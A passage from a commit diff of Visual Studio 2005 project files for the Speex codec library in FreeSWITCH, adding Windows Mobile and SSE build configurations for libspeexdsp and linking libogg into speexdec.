+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				FloatingPointModel="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="..\..\..\bin\libspeexdsp.dll"
+				ModuleDefinitionFile="..\..\libspeexdsp.def"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				ImportLibrary="..\..\..\lib\libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				RuntimeLibrary="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				ModuleDefinitionFile="libspeexdsp.def"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H;FIXED_POINT;_WIN32_WCE=$(CEVER);UNDER_CE;$(PLATFORMDEFINES);WINCE;$(ARCHFAM);$(_ARCHFAM_)"
+				MinimalRebuild="true"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="0"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H;FIXED_POINT;_WIN32_WCE=$(CEVER);UNDER_CE;$(PLATFORMDEFINES);WINCE;$(ARCHFAM);$(_ARCHFAM_)"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="0"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\buffer.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fftwrap.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filterbank.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\jitter.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fft.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fftr.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\mdf.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\preprocess.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\resample.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\smallft.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\_kiss_fft_guts.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\arch.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fftwrap.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filterbank.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fixed_debug.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fixed_generic.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fft.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fftr.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\math_approx.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\os_support.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\pseudofloat.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\smallft.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+		<Filter
+			Name="Public Header Files"
+			Filter="h"
+			>
+			<File
+				RelativePath="..\..\..\include\speex\speex.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_bits.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_buffer.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_echo.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_jitter.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_preprocess.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_resampler.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_types.h"
+				>
+			</File>
+		</Filter>
+		<File
+			RelativePath="..\..\config.h"
+			>
+		</File>
+		<File
+			RelativePath="..\..\libspeexdsp.def"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/speex/win32/VS2005/speexdec/speexdec.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/speexdec/speexdec.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/speexdec/speexdec.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="Windows-1252"?>
 <VisualStudioProject
 	ProjectType="Visual C++"
-	Version="8.00"
+	Version="8,00"
 	Name="speexdec"
 	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}"
 	RootNamespace="speexdec"
@@ -63,9 +63,10 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexdec.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="..\..\..\bin\speexdec.exe"
 				LinkIncremental="2"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libogg\win32\VS2005\$(ConfigurationName)&quot;"
 				GenerateDebugInformation="true"
 				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
 				SubSystem="1"
@@ -149,9 +150,10 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexdec.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="..\..\..\bin\speexdec.exe"
 				LinkIncremental="1"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libogg\win32\VS2005\$(ConfigurationName)&quot;"
 				GenerateDebugInformation="true"
 				SubSystem="1"
 				OptimizeReferences="2"
@@ -238,9 +240,10 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexdec.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="..\..\..\bin\speexdec.exe"
 				LinkIncremental="1"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libogg\win32\VS2005\$(ConfigurationName)&quot;"
 				GenerateDebugInformation="true"
 				SubSystem="1"
 				OptimizeReferences="2"
@@ -273,95 +276,6 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
-		<Configuration
-			Name="Release_SSE2|Win32"
-			OutputDirectory="$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="3"
-				InlineFunctionExpansion="2"
-				EnableIntrinsicFunctions="true"
-				FavorSizeOrSpeed="1"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
-				StringPooling="true"
-				ExceptionHandling="0"
-				RuntimeLibrary="0"
-				BufferSecurityCheck="false"
-				EnableEnhancedInstructionSet="2"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				Detect64BitPortabilityProblems="true"
-				DebugInformationFormat="3"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexdec.exe"
-				LinkIncremental="1"
-				GenerateDebugInformation="true"
-				SubSystem="1"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				OptimizeForWindows98="1"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
